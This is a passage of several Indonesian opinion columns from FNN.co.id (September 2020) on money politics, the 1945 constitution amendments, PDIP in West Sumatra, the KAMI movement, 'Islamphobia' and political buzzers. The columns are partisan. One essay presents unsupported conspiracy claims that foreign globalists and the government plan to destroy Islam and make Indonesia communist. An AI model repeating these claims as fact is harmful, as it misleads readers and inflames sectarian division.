sebab kampanye calon dilakukan oleh jaringan partai politik. Kekhasan ketiga, yaitu broker politik. Para kandidat di Indonesia membentuk jaringan broker politik mulai dari tingkat nasional hingga rukun tetangga. Jaringan inilah yang dimanfaatkan oleh kandidat untuk melakukan politik uang sebagai cara menjalin hubungan dan meraup dukungan dari masyarakat. Broker politik, barang asing bagi India dan Argentina, kata Ward, “sebabnya, partai politik di India dan Argentina yang memiliki akses terhadap sumber daya negara telah menjalin hubungan dengan masyarakat setempat. Masyarakat India dan Argentina mendatangi kantor partai politik untuk mengurus berbagai hak atas pelayanan publik. “Kalau anda mengunjungi kantor partai politik di daerah (Indonesia), sepi. Tidak ada banyak orang. Kenapa sepi? Karena di Indonesia, kalau anda mau mengurus pelayanan publik, seperti mengurus kamar rumah sakit, orang tidak datang ke partai politik, tetapi ke institusi negara seperti Pak RT, Pak RW, Pak Lurah dan Pak Camat. Jadi, semua akses terhadap kekayaan negara, itu lewat aparatur negara. Tapi kalau di India dan Argentina tidak begitu. Di sana, partai politik juga menguasai kekayaaan negara sehingga masyarakat mendekati partai politik,” urai Ward. Berbicara situasi dan kondisi perpolitikan hari ini di Indonesia, sungguh banyak narasi negatif yang mengotori udara demokrasi. Demokrasi hanya menjadi pajangan dan pemanis konstitusi. Demokrasi telah dibegal kekuatan hitam kuasa politik gelap. Dalam banyak kajian, sejumlah pakar menyebutkan, sejak era reformasi, demokrasi telah diambil alih para pembegal yang sejatinya adalah para kapitalis bersekutu dengan politisi pemburu rente yang menafikan dimensi moralitas. Menonjolnya praktik begal politik menjelang Pilkada serentak akhir 2020, sejatinya itu hanya bentuk repetitif rusaknya pondasi politik yang dibalut dengan jubah sarana berbasis moralitas. Demokrasi telah terjebak di dalam lingkaran setan daerah tak bertuan (terra in cognito). Para pembegal formal dan legal itu, bebas menetukan hitam putihnya regulasi sesuai kepentingan perkuatan kekuasaan politik dan perluasan wilayah kerajaan bisnis mereka. Dalam kenyataannya jalan demokrasi yang meniscayakan kehadiran partai politik sebagai penyalur aspirasi tetap saja jauh panggang dari api. Partai politik bermutasi menjadi hantu kejahatan koruptif yang begitu perkasa. Terlegitimasi lewat sakralisasi pemilihan umum yang diagung-agungkan sebagai panggung politik tertinggi daulat rakyat. Kekacauan perundang-undangan yang diproduksi eksekutif dan legislator sejak era reformasi ditandai banyaknya langkah Judicial Review (JR) atau uji materi yang dilakukan tokoh masyarakat sipil di Mahkamah Konstitusi (MK). Konsistensi hakim MK dipertanyakan. Mereka baru saja menerima “bonus” dari wakil rakyat. DPR mengesahkan UU Mahkamah Konstitusi yang baru pada rapat paripurna, Selasa (01/09/20). Masa jabatan hakim bisa sampai 15 tahun. Ada hakim MK saat ini yang bisa menjabat hingga 2034. Ada perpanjangan masa usia menjadi 70 tahun sebagai hakim MK. Rizal Ramli ekonom papan atas Indonesia dan aktivis demokratis tak kenal lelah menjadi salah seorang yang kini melakukan JR menggugat pasal 222 UU No.7/2017 itu. Rizal Ramli menyebutnya sebagai “Demokrasi Kriminal”. Pembegalan politik nampaknya terjadi di semua lembaga publik yang seharusnya melindungi kepentingan publik. Beberapa teman aktivis senior kembali mengirim pesan lewat group WhatsApp. “Bangsa Indonesia saat ini sedang menghadapi gangguan pandemi lain yang bernama “Begal Politik” itu. Saya hanya terdiam. Membisu. Memandangi plafond yang serasa berputar mengejek kebisuan saya. Penulis adalah Wartawan Senior dan Pemerhati Masalah Sosial Budaya.

Membedah Dan Memetik Buah Amandemen UUD 1945 (Bagian-3)

by Mayjen TNI (Purn) Prijanto Jakarta FNN – Senin (07/09). Pembatasan. Untuk membedakan dan mempermudah dalam artikel berseri ini, hasil amandemen UUD 1945, kita sebut dengan UUD 2002. Baca membedah dan memetik buah amandemen UUD 1945 (2), “Generasi Muda Anton Permana cs Turun Gunung” (Google). Setelah Veteran Komisi Konstitusi Prof. Dr. Tjipta Lesmana, Prof. Dr. Maria Farida Indrati dan Dr. Laode Ida, dan dilanjutkan dengan Generasi Muda Anton Permana cs bicara dalam Webinar Gerakan Kebangkitan Indonesia (GKI)-Panji Masyarakat, pada 18/8/2020, tak ketinggalan senior pejuang ikut bicara. Apa kata mereka? Irjen Pol (Purn) Taufiequrachman Ruky, Mantan Ketua KPK. Untuk mengetahui situasi MPR waktu amandemen, sebelum Webinar, moderator minta gambaran kepada Irjen Pol (Purn) Taufiequrachman Ruky, yang ketika itu anggota MPR. Tersiar kabar bahwa perubahan pasal-pasal itu tidak didukung dokumen kajian dan tahapan sosialisasi. Benarkah ? Irjen Pol Ruky memberikan penjelasan, ketika perubahan pertama, dirinya masih anggota BP MPR RI. Secara diplomatis menjawab, seingat saya tidak ada seminar atau diskusi ilmiah untuk membahas dan mengkaji pasal yang diubah dengan pendekatan keilmuan. Apalagi pendekatan dengan ideologi Pancasila. Justru pada perubahan pertama, sudah muncul keinginan mengubah Pasal 29. Dengan menambah tujuh kata. Dari titik inilah amandemen “liar” bermunculan, termasuk perubahan Pasal 6, Pasal 33. Langkah ini diikuti dengan peniadaan Dewan Pertimbangan Agung (DPA). Situasi pada perubahan pertama sudah nampak. Adanya perbedaan pandang golongan nasionalis dengan golongan Islam. Golkar sepertinya tidak punya pegangan dan Fraksi ABRI membeku. Perubahan berikutnya tidak tahu persis, karena tahun 2000 sudah ke Polkam, kata Ruky menutup penjelasannya. Penjelasan Irjen Pol Taufiqurachman Ruky, dikuatkan pengakuan Dr. J. Sahetapy yang videonya viral di medsos. Dengan bangganya Sahetapy mengatakan dia satu-satunya orang yang usul dihilangkannya syarat Presiden orang Indonesia asli. Pertanyaanya, adakah kajiannya? Letjen TNI (Purn) Sayidiman Suryohadiprojo, Lulusan Akademi Militer Yogyakarta 1948. Sebagai lulusan terbaik Akademi Militer Yogya, di usia 93 tahun, pengabdian Letjen Sayidiman kepada negara tiada putus. Pengalaman sebagai Wakasad, Gebernur Lemhannas, Dubes di Jepang dan Dubes Keliling untuk Wilayah Afrika, jelas memberikan ketajaman pengamatan atas situasi yang berkembang saat ini. Dikatakannya, ada indikasi campur tangan asing dalam amandemen UUD 1945, yakni National Democratic Institute (NDI). Sinyalemen ini seperti di artikel “Ada Campur Tangan Asing Dalam Amandemen UUD 1945”. (google). Jenderal Sayidiman memberikan dorongan, agar Indonesia di usia 100 tahun bisa menjadi negara yang kuat, maju, adil dan makmur. Untuk itu, diperlukan sikap dan sifat kepemimpinan bangsa Indonesia yang jujur dan tidak menjadi pengkhianat. Terkait konstitusi, juga tidak kalah penting. Diperlukan kaji ulang terhadap UUD 2002. Apabila hasil kaji ulang ternyata UUD 2002 membuahkan pecahnya persatuan Indonesia dan pemiskinan rakyatnya, maka perlu kita kembali ke UUD 1945. Selanjutnya, dalam menyongsong masa depan perlu penyempurnaan UUD 1945. Harus dilakukan secara adendum, kata Jenderal Sayidiman diakhir pendapatnya. Prof. Dr. Sofian Effendi, Ketua Forum Rektor Indonesia 2006-2007, Ketua Komisi Aparat Sipil Negara (ASN). Di awal pembicaraan, Prof. Sofian menunjukkan buku yang ditulis Prof. Donald D. Horowitz : “Constitutional Change and Democracy in Indonesia”. Dikatakannya, dalam buku itu menunjukkan betapa besar keterlibatan National Democratic Institute (NDI) dalam proses amandemen atau lebih pasnya penggantian UUD 1945. NDI menyusun pasal-pasal perubahan UUD 1945, yang diserahkan ke Panitia ad Hoc MPR yang bertugas menyusun Undang-Undang Dasar. NDI dapat tempat di Sekretariat MPR, dan mendapat kucuran dana dari pemerintah Amerika melalui Secretary of State America, Madeleine Albright, tutur Prof. Sofian. Dalam penelusurannya di surat kabar New York Times, tahun 1998, Prof Sofian menemui lima artikel yang menguatkan isi buku Donald Horowitz. Artinya, keterlibatan NDI menjatuhkan Presiden Soeharto dan mengganti sistem pemerintahan Indonesia. Isi buku Horowitz dan lima artikel di New York Times, tahun 1998, sebagai bukti empirisnya. Pembukaan UUD 1945 berisi “philosphische grondslag” tidak diubah. Pertanyaan kritisnya, apakah pasal-pasal perubahan sesuai dengan nilai-nilai “philosopische grondslag” Pancasila? Kalau sudah menyimpang jauh dari ruhnya, maka UUD 2002 tidak layak disebut UUD 1945. Apabila saat ini sistem pemerintahan dan sistem ekonomi kacau, itu semua akibat UUD 2002. Artinya, tujuan mereka atau asing mengganti sistem pemerintahan Indonesia berhasil, kata Prof. Sofian menutup pembicaraannya. Dubes Nurrachman Oerip, Duta Besar RI untuk Kerajaan Kamboja (2004-2007). Melihat jabatannya, Dubes Nurrachman tidak bisa lepas urusan luar negeri. Sebelum Dubes di Kamboja, Kepala Bidang Politik Perutusan RI untuk Masyarakat Eropa dan Wakil Kepala Perwakilan RI di Rusia. Karena itulah, melihat proses amandemen UUD 1945, juga tidak lepas dari perspektif hubungan internasional. Tumbangnya Orde Lama, mengandaskan konsep Tri Sakti Bung Karno. Ambruknya Orde Baru, telah merombak “sistem sendiri pemerintahan Indonesia” melalui amandemen UUD 1945. Menurut Nurrachman, dalam upaya mencapai tujuan nasional, UUD 2002 lebih banyak mudharatnya dari pada manfaatnya. Itu semua tidak lepas dari pertarungan kepentingan politik global. Dubes Nurrahman mencermati isi buku Donald D. Horowitz : “Constitutional Change and Democracy in Indonesia” terbitan Cambridge University Press, 2013. Dikatakannya ada indikasi intervensi kekuatan asing, yakni LSM Amerika, National Democratic Institute (NDI), yang berkolaborasi dengan LSM lokal dalam amandemen UUD 1945. Keikutcampuran asing dalam amandemen UUD 1945 dikuatkan artikel Tim Weiner pada surat kabar “New York Times, 20 Mei 1998” : “Unrest in Indonesia : The Opposition; U.S. Has Spent $ 26 Million since ’95 on Soeharto Oppenents”. Dalam artikel ini tampak keterlibatan United State Agency for International Development (USAID), kata Nurrachman menutup pendapatnya. Menyimak artikel seri-1, seri-2 dan seri-3 ini, dapat ditarik kesimpulan : (1) Pasal-pasal perubahan UUD 1945 tidak koheren dengan nilai-nilai falsafah bangsa, Pancasila. (2) Buah amandemen tidak terasa manis. UUD 2002 banyak mudharatnya dari pada manfaatnya. (3) Ada indikasi kuat keterlibatan asing, berkolaborasi dengan LSM lokal. Penulis, sebagai moderator, menutup dengan menyampaikan pendapat : “Undang Undang Dasar yang buruk, jauh dari nilai-nilai falsafah bangsanya, akan menghancurkan bangsa dan negaranya”. Semoga hasil Webinar pada peringatan Hari Konstitusi Indonesia, 18/8/2020 yang diselenggarakan Gerakan Kebangkitan Indonesia (GKI) – Panji Masyarakat bermanfaat. Amin. (selesai). Penulis adalah Aster KASAD 2006-2007 & Rumah Kebangkitan Indonesia.

Karena Puan Setitik, Rusak Suara Se-Minang Raya

by Hersubeno Arief Jakarta FNN - Senin (07/09). Nasib PDIP di Sumatera Barat sungguh tragis. Partai Moncong Putih itu bak penyakit menular yang harus dihindari. Tak cukup hanya mengenakan masker. Apapun bentuknya, hubungan, afiliasi, bahkan hanya “bau-bau” PDIP harus dijauhi. Cut off. Tak ada hubungan apapun! PKB yang semula bersama PDIP mendukung pasangan Mulyadi-Ali Mukhni mengambil langkah seribu. Mereka mencabut dukungan dan mengalihkan ke pasangan cagub yang lain. PKB tak mau tertular virus. Terkena penyakit menular bernama PDIP. Risikonya berat dan tidak sebanding. Paling dramatis justru langkah yang diambil oleh Mulyadi-Ali Mukhni. Tanpa ba-bi-bu, mereka mengembalikan mandat PDIP. Jadilah pasangan ini tinggal diusung oleh Partai Demokrat dan PAN. Meninggalkan PDIP sepi sendiri. Tak ada pilihan lain bagi PDIP. Menarik diri dari gelanggang perebutan kursi gubernur-wagub. Tak ada cagub, dan partai politik yang mau dekat, apalagi bersekutu dengan PDIP. Untuk mengusung calon sendiri, tidak mungkin. Kursi PDIP di DPRD Sumbar hanya seuprit. Tiga kursi tidak memenuhi syarat. “Melihat dinamika seperti ini, kita tidak lagi ikut Pilgub. Kita tidak mengusung siapa-siapa lagi,” kata Ketua DPD PDIP Sumbar Alex Indra Lukman. Keputusan teramat sulit yang harus diambil oleh pimpinan daerah PDIP. Semua gegara ucapan Puan Maharani. Putri Mahkota PDIP itu dinilai melecehkan karena pernyataannya sangat jelas terkesan mempertanyakan dukungan warga Sumbar terhadap Pancasila. Puan pasti tidak pernah mengira bila ucapannya itu berdampak begitu besar. Menjadi kado pahit ulang tahunnya yang ke 47, Ahad (6/9). Upaya para petinggi PDIP menyodorkan fakta, bahwa Puan dari sisi darah masih keturunan Minang, tidak mungkin menghina negeri para leluhurnya, tidak bisa menghapus luka. Ibarat nasi telah menjadi bubur. Semuanya sudah terjadi. Benarlah seperti dikatakan banyak orang, Puan tidak pernah membaca sejarah. Terlebih lagi, kalau benar dia masih merasa keturunan Minang, tidak tahu apa-apa tentang sumbangsih dan peran besar para ninik mamak dalam ikut mendirikan bangsa ini. Puan telah tercerabut dari akar budaya dan sejarah. Dia tak paham petatah petitih: Kato mandaki, kato Manurun. Kato malareang, kato mandata. Tata krama dalam tradisi Minang yang sangat ketat aturannya. Berpengaruh ke Bobby Nasution Kehebohan di Sumbar jangan hanya dipandang sebagai persoalan lokal. Dampaknya bisa menyebar cepat seperti bola salju. Di berbagai daerah lain yang banyak bermukim warga Minang, ucapan Puan bisa mengubah konstelasi politik. Calon-calon yang didukung PDIP dan tengah berlaga di Pilkada, bisa terkena dampaknya. Yang paling dekat adalah Bobby Nasution, menantu Presiden Jokowi tengah berlaga di Pilwakot Medan. Di Medan komunitas Minang perantauan jumlahnya cukup besar. Mereka juga memegang peran penting dalam sektor perekonomian. Bobby diusung oleh PDIP. Caranya memperoleh tiket dari partai moncong putih itu juga tak elok. Melalui lobi-lobi politik tingkat tinggi dan istana, dia menyingkirkan Plt Walikota Medan Akhyar Nasution. Akhyar dipecat dari PDIP. Dia kini menjadi calon walikota Medan diusung oleh Partai Demokrat dan PKS. Dia akan menjadi pesaing berat Bobby. Diaspora Minang di seluruh Indonesia juga tidak bisa diremehkan. Secara populasi kecil. Namun mereka sangat solid. Dampak lain dari ucapan Puan yang sangat serius adalah mempertajam pembelahan di tengah masyarakat. Sangat jelas Puan mempertontonkan sikap merasa paling Pancasilais. Di luar pendukung PDIP, dinilainya tidak Pancasilais. Sebuah cara pandang yang sangat berbahaya dan tengah dipertontonkan oleh rezim dan para pendukungnya. Ucapan Puan menunjukkan trah Soekarno dan PDIP, merasa diri mereka satu-satunya pewaris sah negeri ini. Satu-satu-satunya yang bernasab sambung kepada pencetus Pancasila. Hal itu dipertegas dengan peresmian Hari Lahir Pancasila 1 Juni oleh Presiden Jokowi. Padahal sejarah mencatat secara resmi, Pancasila lahir pada tanggal 18 Agustus 1945. Saat para perumus di BPUPKI mensahkannya sebagai dasar negara Indonesia yang merdeka. Tidak berhenti sampai disitu. Melalui Fraksi PDIP di DPR RI mereka mengusulkan RUU Haluan Ideologi Pancasila (HIP). Dalam RUU tersebut mereka memasukkan formula Pancasila yang diperas menjadi Trisila dan Ekasila. Persis sebagai mana usulan Soekarno pada sidang pertama BPUPKI tanggal 1 Juni 1945. Pandangan dan cara berpolitik semacam ini sangat berbahaya. Mereka mencoba menegasikan peran kekuatan politik dan kelompok yang berseberangan, dengan stigma anti Pancasila. Seakan hanya keluarga Soekarno dan para pendukungnya yang paling Pancasilais. Merekalah bangsa pilihan Tuhan di republik ini. Selain mereka, bukan penganut dan pengikut Pancasila. Dalam konteks politik semacam inilah mengapa reaksi dari warga Minang mendapat dukungan begitu luas. Bukan hanya dari mereka yang berasal dari Minang. Tapi juga mereka yang merasa disingkirkan dengan stigma: anti Pancasila, radikal, dan intoleran. Miri-mirip seperti bunyi pepatah: Karena Puan setitik, rusak suara se-Minang Raya……End Penulis adalah Wartawan Senior FNN.co.id

KAMI Gerakan Moral, Dihalangi “Gerakan Tidak Bermoral”

by M Rizal Fadillah Bandung FNN – Senin (07/09). Koalisi Aksi Menyelamatkan Indonesia (KAMI) memang fenomenal. Sambutan masyarakat luas cukup besar. Dukungan juga sangat luar biasa. Mungkin karena menaruh harapan ada gerakan moral yang diusung oleh KAMI. Situasi politik, ekonomi, budaya hingga ideologi yang sedang bergoyang-goyang mungkin sekali segara goyah. Penegakan hukum juga amburadul. Makelar Kasus (Markus) bermunculan di kantor-kantor yang menjadi simbol penegakan hukum, seperti Kepolisian dan Kejaksaan. Terakhir asus Joko Tjandra sebagai contoh paling telanjang. Hukum hanya tajam ke bawah, dan tumpul ke atas. Masyarakat khawatir terhadap resesi ekonomi, budaya atau politik di kalangan penyelenggara negara. Baik itu yang di Eksekutif, Legislatif maupun Yudikatif. Teta kelola negara kacau-balau, matiran dan amburadul. Baca tulisan Margarito Kamis, “Politik Setan Dalam Pembentukan UU” (FNN.co. edisi 06/09). Untuk itu, harus ada koreksi kepada penyelenggara negara. KAMI yang mau deklarasi di Jawa Barat ternyata tidak mudah. Rencana akan dilaksanakan deklarasi di Gedung Bikasoga sudah "clear". Tapi entah tekanan dari mana "ujug-ujug" melakukan pembatalan sepihak. Begitu juga dengan pemindahan ke Hotel Grand Pasundan, pada H-1 tiba tiba juga dibatalkan sepihak dengan alasan adanya Surat Satgas Covid 19 Provinsi Jawa Barat. KAMI Jawa Barat mempertimbangkan untuk melakukan tuntutan hukum. Rupanya ada hambatan dan penghalangan dari pelaksanaan asas kebebasan berserikat, berkumpul, dan menyatakan pendapat. Polanya mempersulit kegiatan yang dinilai tidak sejalan dengan pandangan dan kebijakan Pemerintah. Demo-demo murahan juga dimunculkan. Covid 19 selalu menjadi alasan bahkan tunggangan dari kepentingan. KAMI sebagai gerakan moral tidak boleh menyerah. Kebenaran dan keadilan harus terus diperjuangkan walaupun menghadapi seribu kesulitan. Tekanan politik biasa dilakukan oleh penguasa yang takut terusik akan kemapanannya. Penguasa yang mengalami sindroma berat penyakit takut diturunkan dari singgasana. Menghantui siang dan malam. KAMI sebagai Gerekan Moral dipastikan bakal dihalang-halangi oleh “Gerakan Yang Tidak Bermoral”. KAMI di daerah-daerah terus bermunculan. Tumbuh sebagai kekuatan yang ingin meluruskan arah kiblat berbangsa dan bernegara. Buzzer, influencer, maupun "covider" (mereka yang menunggangi pandemi covid) boleh berusaha untuk mengotak-atik dan melemahkan. Sayangnya, dimana dan kapanpun gerakan moral itu sulit untuk ditangkal. Karena suara langit yang ikut menggemakan. KAMI memang dipersulit, tetapi tidak akan lari terbirit-birit. Apalagi hanya didasarkan pada alasan covid. Walaupun protokol sudah dinyatakan siap dijalankan dengan tertib. Masih saja dicari-cari alasan untuk mempersempit. Makin dipersulit, makan betrsemangat KAMI. KAMI berjuang untuk agama, bangsa, dan negara bukan untuk menduduki kursi kekuasaan. Bukan pula untuk menjatuhkan siapapun. Meski kursi kekuasaan yang diduduki itu semakin lapuk atau tak terawat. Keyakinan KAMI adalah penguasa itu akan jatuh disebabkan oleh perbuatannya sendiri, oleh kebodohannya sendiri, dan oleh penghianatannya sendiri kepada rakyat. Sekali lagi KAMI memang terpisah dari KAMU. Apalagi KALIAN yang bukan saja beda nama, tetapi beda haluan perjuangan. KAMI Jawa Barat yang dizalimi tidak dendam pada siapapun. Tetapi secara ksatria mengajak untuk bertarung gagasan, konsep, maupun program dengan siapapun. Mari beradu gagasan, konsep dan program untuk menyelamatkan Indonesia. Marilah kita memulai langkah itu dengan berkoalisi dalam aksi. Penulis adalah Pemerhati Politik dan Kebangsaan.

Narasi Islamphobia, Instrumen Pemecah Belah Bangsa

by Anton Permana Jakarta FNN – Senin (07/09). Berhentilah menuduhkan hal yang sangat tidak baik kepada ummat Islam Indonesia. Apalagi dengan narasi basi seperti isu radikalisme, khilafah, dan intoleransi. Tak ada gunanya. Hasilnya pasti akan mengecewakan. Lambat laun, ummat Islam akhirnya tahu juga ada apa dibalik semua narasi itu. Semua tak lain hanyalah agenda Islamphobia. Agenda membangun kebencian dan ketakutan terhadap agama Islam. Ummat Islam semua sudah tahu, bahwa agenda Islamphobia ini adalah "pesanan" asing para globalis yang ingin secepatnya menguasai negeri ini. Stigma Islamphobia ini sudah terjadi berulang kali sejak fase zaman kolonial dulu. Hanya corak dan polanya saja yang berbeda. Kenapa pentingnya agenda Islamphobia ini semakin menjadi-jadi belakangan ini ? Jawabannya adalah : Pertama, sejak masa penjajahan, kelompok yang paling terdepan melawan dan mengusir penjajahan adalah ummat Islam. Mayoritas pejuang tangguh, pemberani, pahlawan, dan konseptor negara ini dari dari dulu adalah ummat Islam. Kedua, dari masa ke masa, dari orde ke orde, yang selalu terdepan menentang setiap penyelewengan terhadap negara ini adalah ummat Islam. Baik itu orde lama dalam melawan PKI, orde baru menentang azas tunggal dan KKN, maupun orde reformasi hari ini dalam menentang upaya mengganti Pancasila dan upaya menjadikan negeri ini berhaluan komunis. Ketiga, ummat Islam selalu sensitif terhadap nilai ketidakadilan, penjajahan, dan kesewenang-wenangan hingga menjaga kedaulatan bangsa. Ummat Islam juga sangat peduli terhadap pembangunan akhlak generasi bangsa agar jauh dari segala perbuatan maksiat yang dapat melemahkan bangsa dari dalam. Artinya, Ummat Islam sebagai mayoritas 88 persen di negeri ini mempunyai tanggung jawab moral dan peran penting secara kolektif untuk menjaga negeri tetap berjalan dengan baik menggapai tujuan bernegara. Islam adalah sejatinya benteng utama dan terakhir negeri ini. Namun ternyata, hal ini menjadi masalah besar bagi kelompok yang ingin sekali mengusai secara total negeri ini. Ternyata ada kelompok orang yang menganggap Islam adalah "benteng utama" yang menjadi penghalang untuk agenda mereka menjajah dan menjarah negeri kaya raya ini. Karena, secara ekonomi, politik, hukum, sosial budaya dan Hankam, kelompok ini hampir total dikuasai. Melalui kekuasaan politik yang secara halus sistematis sudah mereka ambil alih. Ini adalah fakta buruk hari ini. Sejenak, mari kita lihat secara logika jernih dan akal sehat. Yang menjadi permasalahan utama di negeri ini adalah korupsi, ketidak adilan hukum, narkoba, LGBT, penjarahan terhadap sumber kekayaan alam oleh negara asing. Juga hilangnya identitas dan karakter asli bangsa Indonesia menjadi latah tidak berjati diri. Belum lagi rusaknya tata kelola dalam pemerintahan. Betul bukan? Tak terhitung hasil kekayaan alam negeri ini disedot keluar, baik lewat udara, darat, dan lautan. Tak terhitung triliunan dolar Amerika uang negara menguap untuk kepentingan para elit oligharki, korporasi dan konglomerasi bersama cukong-cukongnya. Akibat semua itu, hari ini negara bangkrut. Hutang menggunung. Kemiskinan menjadi-jadi. Lapangan kerja sulit, harga sembako melambung, keharmonisan antar masyarakat terpecah belah. BUMN tergadai dan terancam lepas. Kedaulatan negara hilang di bawah dikte negara asing. Sarana prasarana kehidupan rakyat lebih banyak di kuasai asing dari pada negara dengan kedok investasi. Namun anehnya, semua permasalahan itu seolah diabaikan saja. Jarang dijadikan isu untuk sebuah perbaikan agar negeri ini menjadi lebih baik. Bagaimana bayar hutang yang menembus angka Rp 6.000 triliun ini? Kemana hasil sumber kekayaan alam kita yang luar biasa ini? Kemana uang hasil hutang Rp. 1.000 triliun UU Corona, karena faktanya rakyat tetap mesti bayar rapid-swab test dan beli masker? Kemana Harun Masiku? Apa penyebab terjadinya kebakaran kantor Kejagung? Siapa dalang di balik kasus memalukan Tjoko Chandra? Siapa aktor kuat di balik banjir narkoba di negeri ini? Kenapa pesta sex gay LGBT bisa leluasa? Kenapa semakin banyak TKA China masuk? Banyak lagi permasalahan kritis negeri ini kalau mau kita urai. Namun faktanya. Penguasa justru berupaya sebaliknya. Penguasa menyeret permasalahan agama seolah yang menjadi penyebab segala kerusakan bangsa hari ini. Apa hubungannya? Sangat aneh bukan? Jauh panggang dari api. Agama seolah dipaksa jadi sasaran kondikte otentik yang wajib dipersalahkan untuk menutupi semua kebusukan yang terjadi. Kenapa ini mereka melakukan? Ini jawaban dan analisanya Pertama, narasi Islamphobia sangat ampuh untuk mengalihkan perhatian publik dari "kejahatan" yang mereka lakukan terhadap negara. Sekalian membungkam duluan para kelompok agama khususnya Islam yang mau protes (melawan). Kedua, untuk menguasai negeri ini, berarti harus menaklukan Islam terlebih dahulu. Caranya? buatlah ummat Islam itu benci, takut, jijik, dan meninggalkan ajaran agamanya. Buat opini seolah Islam itu sumber segala sumber masalah di negeri ini. Bukan menjadi sumber segala nilai kebaikan lagi. Balikan semua persepsi itu dengan sihir media dan kekuasaan. Strateginya? Agenda Islamphobia dengan isu narasi radikalisme, khilafah, dan intoleransi. Termasuk pembunuhan karakter terhadap para tokoh bangsa yang beragama Islam di buat seburuk-buruknya. Congkel dan publish segala keburukan tokoh Islam. Kalau tidak ada keburukan, ciptakan fitnah atau jebak dengan berbagai cara. Tujuannya apa? Agar terbentuk opini tak ada satupun tokoh bangsa yang beragama Islam yang baik di negeri ini. Semua rusak dan bermasalah. Ada saja salah dan buruknya. Hanya tokoh dari kelompok mereka saja yang baik. Dilakukan melalui bombardir media, buzze rupiah, dan influencer yang di biayai. Ketiga, kuasai politik, ekonomi dan pemerintahannya. Ketika Islam mayoritas, jual dengan indah bahasa toleransi dan buat agama itu sakral agar jauh dari politik. Agar ummat Islam terbuai dan tidak peduli akan politik dan ekonomi. Namun setelah kekuasaan di tangan, baru buat aturan untuk menghabisi setiap sendi-sendi ajaran Islam tanpa basa-basi. Keempat, angkat dan jadikan para pejabat yang lemah iman, korup dan bisa diatur. Sebagai jagal (pelayan) untuk menghabisi sesama ummat Islam sendiri. Yang patuh diberi uang, fasilitas dan jabatan. Yang tidak patuh diisolasi dan dihabisi kariernya. Kalau perlu dipenjarakan apapun alasannya. Kelima, sudah terbukti bahwa yang selalu terdepan menentang setiap kezaliman dan ketidak adilan itu adalah tipikal ummat Islam yang taat ibadah, berilmu pengetahuan dan dekat dengan Al Quran. Untuk itu, identifikasi tipikal seperti ini harus dibalik seolah ummat Islam yang taat dan sholeh ini adalah bayangan penjahat dan berbahaya. Caranya beri stigma negatif bahwa identifikasi ummat Islam yang rajin ibadah, hafiz Qur'an, berilmu pengetahuan itu punya motivasi ke-Islaman tinggi adalah para calon teroris radikal dan berbahaya. Tetapi bagi ummat Islam yang sekuler, liberal, opportunis, suka maksiat, bahkan penjahat, dipelihara dan berikan fasilitas jabatan dan uang. Agar terdepan mengisi pos-pos strategis dalam kemasyarakatan. Sebagai corong kekuasaan. Keenam, pecah belah ummat Islam dengan cara merebut jabatan penting organisasi dan lembaga-lembaga ke-Islaman. Pecahkan mereka menjadi banyak kubu, dan selalu provokasi dengan adu domba sesama Ummat Islam agar kemudian saling cakar, saling habisi, dan saling bunuh (devide at ampera). Setelah semua kelompok ini hancur dalam pertikaian, baru terakhir ketika mereka sudah lemah terpecah belah dihabisi sampai ke akar-akarnya. Agenda Islamphobia di negeri ini semakin sporadis dan sistematis. Melalui regulasi dan lembaga negara (kementrian) mereka membuat aturan regulasi yang mempreteli dan memporak-porandakan tatanan keagamaan Islam. Mulai dari pendidikan, pesantren, kurikulum, sejarah, dan politik ekonomi. Pokoknya, mereka selalu berupaya dengan gigih bagaimana membuang sejauh-jauhnya agama Islam dari kehidupan bernegara hari ini. Pengaruh Islam tidak boleh ada dalam pusaran kekuasaan. Yang ujungnya tentu kita semua sudah tahu, yaitu menjadikan negara ini menuju berhaluan komunis dan super liberalis (tanpa agama lagi). Lalu apakah semua ini akan berhasil mulus seperti Andalusia, Singapura dan Manila? Dimana dulunya negeri itu semua adalah negeri Islam. Lihatlah hari ini. Islam menjadi minoritas dan tertindas. Menjadi penonton, bahkan babu di negerinya sendiri? Apakah kondisi ini bisa terjadi di Indonesia? Jawabannya pada diri kita semua. Apakah tetap diam? Tetap jadi pengecut? Atau bangkit dan berjuang membela Negara, Pancasila, dan Agama? Semua kembali kepada diri kita masing-masing. Yang jelas negeri ini sudah sekarat dan selangkah lagi menjadi negara super otoriter berhaluan komunis. Arah dan langkahnya sudah semakin jelas dan nyata. Sudah terang benderang bak matahari di siang bolong. Dan jawaban terakhinya adalah, "Bangkit berjuang, atau punah!". Wallahu'alam. Penulis adalah Dikrektur Eksekutif Tanhana Dharma Mangruva Institute.

Republik Buzzer

by Tony Rosyid Jakarta FNN – Senin (07/09). Dunia medsos meniscayakan tumbuh suburnya infuencer atau buzzer. Dua kata yang nggak perlu dibedakan. Karena kerja dan fungsinya sama. Jauh sebelum era medsos, influincer atau buzzer itu dipakai di dunia usaha. Untuk iklan produk. Sebagai alat pemasaran. Di era medsos, buzzer lebih banyak dimanfaatkan jasanya untuk iklan politik. Buzzer saat ini jadi lahan pekerjaan baru yang cukup menggoda. Di sini, ada anggaran besar. Baik untuk buzzer asal-asalan, hingga buzzer kelas profesional. Terutama di tengah angka pengangguran yang semakin besar jumlahnya di masa pandemi, buzzer menjadi salah satu alternatif lapangan kerja yang menggiurkan. Tak semua buzzer itu negatif dan destruktif. Banyak orang yang "secara suka rela" menjadi buzzer atas nama keprihatinan dan moral. Tentu saja, gratisan. Namanya juga relawan. Aktifitas buzzer oleh para relawan dijadikan sebagai alat perjuangan. Buzzer 212 misalnya. Motifnya adalah menuntut keadilan. Ini, tentu positif. Selama tetap menjaga obyektifitas. Kalau kelompok buzzer diklasifikasi, setidaknya ada tiga jenis buzzer. Pertama, buzzer moral. Tidak terikat kecuali pada obyektifitas moral. Pembelaannya hanya pada kebenaran yang dianggapnya rasional. Kalau harus membela dan mendukung seseorang, itu karena secara moral orang tersebut layak dan perlu dibela. Baca, cocok, lalu share. Ini buzzer moral. Pembelaan dilakukan bukan karena faktor kedekatan, juga tidak ada motif uang dan jabatan. Tidak ada ikatan sosiologis karena satu etnis atau organisasi. Tidak pula ada ikatan psikologis, karena teman atau pernah mendapat bantuan. Murni karena yang bersangkutan itu tepat dan rasional untuk dibela. Fenomena dukungan masif terhadap Anies-Sandi di pilgub DKI 2017 menggambarkan hadirnya buzzer moral. Para buzzer tidak membela Anies-Sandi, tetapi melawan ketidakadilan penguasa yang dianggap terlalu jauh intervensinya di Pilgub DKI. Bukan semata-mata faktor Ahok, tapi kekhawatiran sejumlah pihak jika Anies nyapres 2019. Secara teoritis, semakin banyak model buzzer moral, 